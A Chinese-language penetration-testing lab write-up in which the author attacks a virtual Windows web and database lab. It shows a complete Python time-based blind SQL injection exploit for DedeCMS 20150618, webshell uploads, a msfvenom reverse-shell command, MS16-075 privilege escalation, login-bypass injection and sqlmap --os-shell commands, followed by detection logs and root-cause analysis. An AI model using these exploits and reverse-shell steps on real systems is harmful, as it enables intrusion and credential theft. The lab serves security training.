網絡安全滲透測試實驗
一、環境搭建
網絡拓撲圖
- Web服務器一:
- 10.10.10.129
- 192.168.126.128
- 數據庫服務器:
- 10.10.10.136
- 10.10.1.134
- Kali攻擊機:
- 192.168.129.129
1、Web服務器一:
①基本信息
- 操作系統:Windows Server 2008 R2
- 網站管理:護衛神主機大師
- webserver:IIS
- 服務器安全狗
②提供DNS服務
③開啟了3個web站點
④設置kali攻擊機的DNS服務器,模擬真實滲透測試環境。
kali的dns服務器地址也要設置為192.168.126.128
確保可以ping通
2、數據庫服務器:
①基本信息
- 操作系統:Windows Server 2008 r2
- 數據庫軟件:Microsoft SQL Server
二、信息收集
1、Kali攻擊機對同一網段主機發現
①kali的IP地址
- 可知kali所在的網段為:192.168.126.0
②使用Nmap對同一網段進行主機發現掃描
③掃描結果
同一網段下存在另外一台主機為192.168.126.128
2、使用Nmap對目標主機進行端口掃描
①nmap 目標主機Ip
掃描結果可知開放了上述端口。
②使用nmap查看目標端口的詳細信息
掃描結果:
nmap -sC -A -p 49154,21,6588,135,80,3389,53,999,49122 192.168.126.128 -oA targer1-port
Starting Nmap 7.91 ( https://nmap.org ) at 2021-12-13 08:04 EST
Nmap scan report for 192.168.126.128
Host is up (0.00053s latency).
PORT STATE SERVICE VERSION
21/tcp open ftp Microsoft ftpd
| ftp-syst:
|_ SYST: Windows_NT
53/tcp open domain Microsoft DNS 6.1.7601 (1DB1446A) (Windows Server 2008 R2 SP1)
| dns-nsid:
|_ bind.version: Microsoft DNS 6.1.7601 (1DB1446A)
80/tcp open http Microsoft IIS httpd 7.5
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/7.5
|_http-title: IIS7
135/tcp open msrpc Microsoft Windows RPC
999/tcp open http Microsoft IIS httpd 7.5
| http-methods:
|_ Potentially risky methods: TRACE
| http-robots.txt: 1 disallowed entry
|_/
|_http-server-header: Microsoft-IIS/7.5
|_http-title: phpMyAdmin
3389/tcp open ssl/ms-wbt-server?
| ssl-cert: Subject: commonName=WIN-KALKEMT3JMA
| Not valid before: 2021-12-12T08:10:45
|_Not valid after: 2022-06-13T08:10:45
|_ssl-date: 2021-12-13T13:05:41+00:00; 0s from scanner time.
6588/tcp open http Microsoft IIS httpd 7.5
| http-cookie-flags:
| /:
| ASPSESSIONIDCQSQCSAB:
|_ httponly flag not set
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/7.5
|_http-title: \xBB\xA4\xCE\xC0\xC9\xF1\xA1\xA4\xD6\xF7\xBB\xFA\xB4\xF3\xCA\xA6 V3.5.1 - \xC7\xB0\xCC\xA8\xB5\xC7\xC2\xBC
49122/tcp closed unknown
49154/tcp open msrpc Microsoft Windows RPC
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows, cpe:/o:microsoft:windows_server_2008:r2:sp1
Host script results:
|_nbstat: NetBIOS name: WIN-KALKEMT3JMA, NetBIOS user: <unknown>, NetBIOS MAC: 00:0c:29:47:0d:dc (VMware)
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 75.60 seconds
- 結果可以看到各個端口的詳細信息,版本信息等等。
3、通過瀏覽器訪問具體的端口應用
①80-http端口---IIS7 WebServer
②999-http端口 phpmyadmin
③6588-http端口 逐級大師---登錄面板
4、通過wfuzz進行子域名收集
①命令
通過kali自帶的字典進行爆破
②結果
子域名:
http://www.cc123.com
http://ww2.cc123.com
http://new.cc123.com
③依次驗證子域名
www.cc123.com
ww2.cc123.com
new.cc123.com
三、Web服務器一滲透測試
1、new.cc123.com滲透測試
在信息收集中,子域名發現了這個子域名,我們訪問進去之后,發現是個cms,logo還是織夢,那么必然是大名鼎鼎漏洞百出的dedecms了。
①查看dedecms版本信息
②百度,看有無歷史版本漏洞
百度一搜,出現很多這個版本的漏洞。
③測試dedecms默認后台目錄dede,和會員登錄目錄member
可以訪問,說明管理員沒有修改后台路徑。
說明會員中心路徑也沒有修改,根據網上的帖子,這個版本是存在會員中心注入漏洞的。我們先隨便注冊一個會員用戶
注冊成功
④利用用網上公開的exp進行攻擊
需要放在同一個目錄之下
cookie信息
刷新頁面找到cookie
PHPSESSID=fo6no56q6puprgch48q8jc3956; DedeUserID=5; DedeUserID__ckMd5=af34931e1d9c8fe4; DedeLoginTime=1639408657; DedeLoginTime__ckMd5=671d6a9517cf59f8
exp
import sys,os
import urllib2
import time
opener = urllib2.build_opener()
def getCookes():
line = open('cookies.txt','r')
c = line.readline()
line.close()
return c
cookie=getCookes()
opener.addheaders.append(('Cookie',cookie))
payloads = 'abcdefghijklmnopqrstuvwxyz0123456789@_.'
def exploite(target):
password = ""
for i in range(1,21):
for p in payloads:
s1 = "%s" %(i)
s2 = "%s" %(ord(p))
s = target+"/member/mtypes.php?dopost=save&_FILES[mtypename][name]=.xxxx&_FILES[mtypename][type]=xxxxx&_FILES[mtypename][tmp_name][a'%20and%20`'`.``.mtypeid%20or%20if(ascii(substr((select%20pwd%20from%20dede_admin%20limit%201),"+s1+",1))%3d"+s2+",sleep(4),0)%20and%20mtypeid%3d1%23]=w&_FILES[mtypename][size]=.xxxx"
start_time = time.time()
try:
req = urllib2.Request(s)
req_data=opener.open(req,timeout=10)
now = time.strftime('%H:%M:%S',time.localtime(time.time()))
if time.time() - start_time > 4.0:
password = password+p
print "["+str(now)+"]: "+s1+" -> "+password
except urllib2.URLError,e:
print e;
return password
def myhelp():
print "\n+------------------------------+"
print "| Dedecms 20150618 member sqli|"
print "| mOon www.moonsec.com |"
print "| MTEAM:moon@moonsec.com |"
print "+------------------------------+\n"
def main():
if len(sys.argv)< 2:
myhelp()
sys.exit()
now = time.strftime('%H:%M:%S',time.localtime(time.time()))
print "["+str(now)+"] [INFO] Dedecms 20150618 member sqli.."
print "password is %s" % (exploite(sys.argv[1]))
if __name__ == '__main__':
main()
運行exp
注意:
在運行exp之前,需要在系統設置,添加一個分類。
運行exp結果
得到了管理員賬戶的密文密碼:
812df726be884ddcfc41
在線md5解密
https://www.somd5.com/
管理員密碼:admin7788
⑤使用管理員密碼登錄后台管理界面
通過文件管理器上傳一句話木馬
上傳webshell
通過蟻劍連接WebShell
管理web網站的目錄
目前為止的結果
截止目前,我們獲取了網站的shell,也就是webshell,但是我么只可以對網站進行一些操作,可以獲取到的文件也較少。我們無法控制這台主機。如果想要獲取注解的權限,還需要繼續提權。
2、提權
①web目錄信息——可執行aspx文件
在我們獲取到Webshell查看目錄的時候,發現有一個文件夾是aspnet_client,說明網站支持asp的腳本。asp的權限功能要比php強大一些。
那么我們下一步上傳一個asp馬。
②上傳asp馬
由於asp馬過大,會在附件中給出。
③通過瀏覽器訪問asp大馬執行命令
輸入admin密碼,登錄webshell。
可以執行cmd命令
既然可以執行cmd命令,那接下來的思路我們就可以在metasploit中生成一個shell,上傳到受害主機上面,從而進行下一步操作。
④MetaSploit生成shell
反彈到本機
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.126.129 lport=12345 -f exe >s.exe
⑤上傳shell到web服務器
發現此目錄不可寫
上傳一個檢測可寫目錄的腳本文件wt.asp
瀏覽器訪問此腳本文件
發現目錄可寫
c:\windows\debug\WIA\
將shell程序上傳到這個目錄
木馬程序上傳成功。
⑥msf監聽反彈shell的端口
msfconsole
選擇exploit/multi/handler模塊
設置反彈監聽的payload並執行
發現端口沒弄對,重新設置一下,記得加l
⑦通過aspx大馬,執行cmd命令,運行木馬程序
運行之后,查看kali之中的會話session
發現已經連接上了目標服務器,查看一下ip地址:
詳細信息:
Interface 1
============
Name : Software Loopback Interface 1
Hardware MAC : 00:00:00:00:00:00
MTU : 4294967295
IPv4 Address : 127.0.0.1
IPv4 Netmask : 255.0.0.0
IPv6 Address : ::1
IPv6 Netmask : ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff
Interface 11
============
Name : Intel(R) PRO/1000 MT Network Connection
Hardware MAC : 00:0c:29:47:0d:dc
MTU : 1500
IPv4 Address : 192.168.126.128
IPv4 Netmask : 255.255.255.0
IPv6 Address : fe80::8c46:83d6:93f0:b8ac
IPv6 Netmask : ffff:ffff:ffff:ffff::
Interface 12
============
Name : Microsoft ISATAP Adapter
Hardware MAC : 00:00:00:00:00:00
MTU : 1280
IPv6 Address : fe80::5efe:c0a8:7e80
IPv6 Netmask : ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff
Interface 13
============
Name : Intel(R) PRO/1000 MT Network Connection #2
Hardware MAC : 00:0c:29:47:0d:e6
MTU : 1500
IPv4 Address : 10.10.10.129
IPv4 Netmask : 255.255.255.0
IPv6 Address : fe80::90a:300d:f93e:7c89
IPv6 Netmask : ffff:ffff:ffff:ffff::
Interface 14
============
Name : Microsoft ISATAP Adapter #2
Hardware MAC : 00:00:00:00:00:00
MTU : 1280
IPv6 Address : fe80::5efe:a0a:a81
IPv6 Netmask : ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff
IPv6 Address : fe80::5efe:a9fe:b8ac
IPv6 Netmask : ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff
查看一下當前的權限
⑧嘗試提權
查找是否存在提權可以利用的點
background
use post/multi/recon/local_exploit_suggester
由於msf6在掃描的時候可能出了一些Bug,沒有出來結果,通過另外一台老版本的kali,上面有msf5,重新上傳木馬,掃描一下,發現有以下漏洞可以利用。
可以查找到如下結果:
嘗試利用ms16_075_reflection_juicy進行提權
設置對應的端口和會話session
獲得系統權限
獲取到flag
注意,aspx大馬查看HwsHostMaster目錄的時候沒有權限,所以只能提權到系統權限之后訪問。
3、ww2.cc123.com滲透測試
①目錄掃描
訪問網站,f12看一下響應頭,發現是.net的后端。
這個網站全是偽靜態頁面,沒有什么可測試的功能點。
使用目錄掃描工具掃描一下網站目錄,這里就隨便找了一個御劍。
訪問一下,有個后台的登錄地址。
②測試是否存在弱口令或者SQL注入漏洞
弱口令測試了admin,admin,123456,111111等,沒試出來,放棄了,測一下SQL注入漏洞。
輸入admin' 123456
結果為
點擊確定之后,又跳轉到了登錄頁面,並且驗證碼也沒有改變.
試着后面加注釋,注釋掉密碼
結果成功登進來了后台
猜測其后台登錄驗證的SQL語句
select * from users username = 'admin'--' and password = '123456';
③尋找是否存在單點漏洞(注入漏洞)
打開burpsuite,看一下后台的功能點,是否存在有?id等url的功能點,這樣可以測試sql注入漏洞。
發現在新聞咨詢這里,點進去資訊列表中的某一個咨詢之后,會以get方式提交?id字段,可能存在注入。
將此數據包的請求復制下來,放到sqlmap里跑一下,看看是否存在sql注入漏洞。
GET /admin/newsadd.aspx?id=537&pid=27 HTTP/1.1
Host: ww2.cc123.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
Referer: http://ww2.cc123.com/admin/newslist.aspx?pid=27
Cookie: ASP.NET_SessionId=2i0ppqscy1sa4jw3ug4lhq1v; CheckCode=0LF0; The Cool Site=lao=1
Upgrade-Insecure-Requests: 1
④kali中sqlmap測試
sqlmap測試
這里猜測,asp.net后端連接的數據庫是mssql(microsoft sql server)
sqlmap -r sql.txt --dbms mssql -v 1 --batch
可知這里id字段存在注入。
爆庫
sqlmap -r sql.txt --dbms mssql -v 1 --batch --dbs
查看當前的db和user
sqlmap -r sql.txt --dbms mssql -v 1 --batch --current-db --current-user
爆表
sqlmap -r sql.txt --dbms mssql -v 1 -D grcms_data --tables
查看admin表中的所有數據
sqlmap -r sql.txt --dbms mssql -v 1 -D grcms_data -T admin --dump
查看是否可以獲取系統權限
sqlmap -r sql.txt --dbms mssql -v 1 --batch --os-shell
⑤通過系統shell執行命令
ipconfig
分析
我們在信息收集的時候,是從192.168.126.128進入到了web服務器,獲取到了系統權限之后,ipconfig
可以得知,這台服務器還有一個網卡,ip地址是10.10.10.129,而此時我們獲得的數據庫的os-shell,看到的IP地址是10.10.1.128,與10.10.10.129不在同一個網段,說明了這是一個數據庫服務器,整個網站的架構是站庫分離的。這樣可以使得數據庫更加安全。
四、網絡靶場攻擊檢測
1、部署了服務器安全狗
- 具有配置網絡防火牆殺毒,檢測后門腳本和程序,並告警的功能。
2、攻擊行為告警
①文件上傳漏洞shell.php檢測
在web服務器滲透測試的時候,上傳了php木馬,然后安全狗迅速告警,給管理員的郵箱發送了告警郵件。
②安全狗日志記錄___反彈shell程序分析
可以看到,在日志記錄當中,存在有我們用來反彈shell所上傳的s.exe后門木馬程序,這里的提示是TCP連接,遠程連接到攻擊機192.168.128.129(kali)的12345端口,所以通過審查日志也可以判斷出是否存在后門程序。
③安全狗日志記錄___掃描與webshell程序分析
可以看到,通過掃描端口的攻擊和webshell的惡意腳本文件也被檢測了出來。
3、可視化的安全管理一站式系統
①基礎界面
web服務器管理員在服務器安裝安全狗之后,無需頻繁的到服務器去審查,在可視化的安全管理系統當中,即可看到當前服務器的安全狀態。
②威脅分析模塊
攻擊Dedecms的過程
通過這個模塊可以直觀的看到攻擊的流程,隨后即可對服務器進行安全加固。
4、安全加固---網站安全狗
之前我們配置了服務器安全狗,更多的是針對與主機整體的安全。我們還可以安裝網站安全狗,加固我們網站的安全。
網站安全狗具有以下功能
通過防范一句話后門可以抵御黑客的攻擊,但是黑客也可以通過一些手段進行繞過。
在真實的紅藍對抗環境中,還是需要不斷的去加固我們的服務器和網站,通過各種方法來達到信息系統的安全目標!
五、滲透測試過程中所用的到漏洞介紹
1、DedeCMS注入漏洞
dedecms20150618的漏洞分析
①名詞解釋
-
php gpc
magic_quotes_gpc函數在php中的作用是判斷解析用戶提示的數據,如包括有:post、get、cookie過來的數據增加轉義字符“\”,以確保這些數據不會引起程序,特別是數據庫語句因為特殊字符引起的污染而出現致命的錯誤
在magic_quotes_gpc=On的情況下,如果輸入的數據有
單引號(’)、雙引號(”)、反斜線()與 NUL(NULL 字符)等字符都會被加上反斜線。這些轉義是必須的,如果這個選項為off,那么我們就必須調用addslashes這個函數來為字符串增加轉義。
②漏洞成因概述
-
由於 dedecms 使用偽全局變量原因,可導致用戶構造任意的 sql 語句,造成注入。
漏洞利用流程:
- 利用_FILE 傳遞數組
- 繞過 dedecms 的 sql 注入檢測機制
- 進行注入
③漏洞細節
-
完整的注入語句
http://192.168.110.135//dedefull/uploads/member/mtypes.php? dopost=save& _FILES[mtypename][name]=.xxxx& _FILES[mtypename][type]=xxxxx& _FILES[mtypename][tmp_name][1' and '.``.mtypeid or if(now() like sysdate(),SLEEP(if(ORD(MID(( SELECT DISTINCT(schema_name) FROM INFORMATION_SCHEMA.SCHEMATA LIMIT 1,1 ),1,1)) like 54,5,0)),0)%23fuck]=1& _FILES[mtypename][size]=.xxxx
關鍵理解的點:
- 為什么用_FILE 傳數組
- 為什么注入語句寫在 tmp_name 后
- 為什么注入語句中有
.``.mtypeid
- 如何繞過 dede 的防注入
-
變量的傳遞過程
- mtypes.php 文件是一個缺陷文件,只要通過把 $mtypename 構造成數組,並且在把數組的 key 定義為 sql 注入語句,那么便可逃逸全局 GPC。
foreach ($mtypename as $id => $name) { $name = HtmlReplace($name); $query = "UPDATE #@__mtypes SET mtypename='$name' WHERE mtypeid='$id' AND mid='$cfg_ml->M_ID'"; $dsql->ExecuteNoneQuery($query); }
該文件的最后部分為缺陷部分,$id 和 $name 都在查詢語句中,但是全局過濾未對數組的key進行過濾,導致 $id 內可以帶任何字符,所以我們在$id中構造語句。
由於 dedecms 是一個偽全局的 cms,我們需要把 $mtypename 覆蓋出來,那么為什么用_FILE 傳輸組呢,整個 cms 在變量初始化的過程中,在 uploadsafe.inc.php 中,會預處理_FILE 傳入的值,但是這段代碼有問題。
foreach($FILES as $_key=>$_value) { foreach($keyarr as $k) { if(!isset($_FILES[$_key][$k])) { exit('Request Error!'); } } if( preg_match('#^(cfg|GLOBALS)#', $_key) ) { exit('Request var not allow for uploadsafe!'); } $$_key = $_FILES[$_key]['tmp_name']; ${$_key.'_name'} = $_FILES[$_key]['name']; ${$_key.'_type'} = $_FILES[$_key]['type'] = preg_replace('#[^0-9a-z./]#i', '', $_FILES[$_key]['type']); ${$_key.'_size'} = $_FILES[$_key]['size'] = preg_replace('#[^0-9]#','',$_FILES[$_key]['size']);
可以在倒數第四行看到一處變量覆蓋,取 $_key 作為 key,$_FILES[$_key][‘tmp_name’] 作為 value。
2、ms016-075漏洞(CVE漏洞編號:CVE-2016-3225)
- ms16-075漏洞簡介4
- Windows SMB 服務器特權提升漏洞(CVE漏洞編號:CVE-2016-3225)當攻擊者轉發適用於在同一計算機上運行的其他服務的身份驗證請求時,Microsoft 服務器消息塊 (SMB) 中存在特權提升漏洞,成功利用此漏洞的攻擊者可以使用提升的特權執行任意代碼。若要利用此漏洞,攻擊者首先必須登錄系統。然后,攻擊者可以運行一個為利用此漏洞而經特殊設計的應用程序,從而控制受影響的系統。
- 名詞解釋
- msf6
- 在滲透過程中,msf漏洞利用神器是不可或缺的。它是一個免費的、可下載的框架,通過它可以很容易地獲取、開發並對計算機軟件漏洞實施攻擊。它本身附帶數百個已知軟件漏洞的專業級漏洞攻擊工具。是信息收集、漏洞掃描、權限提升、內網滲透等集成的工具。
- msf6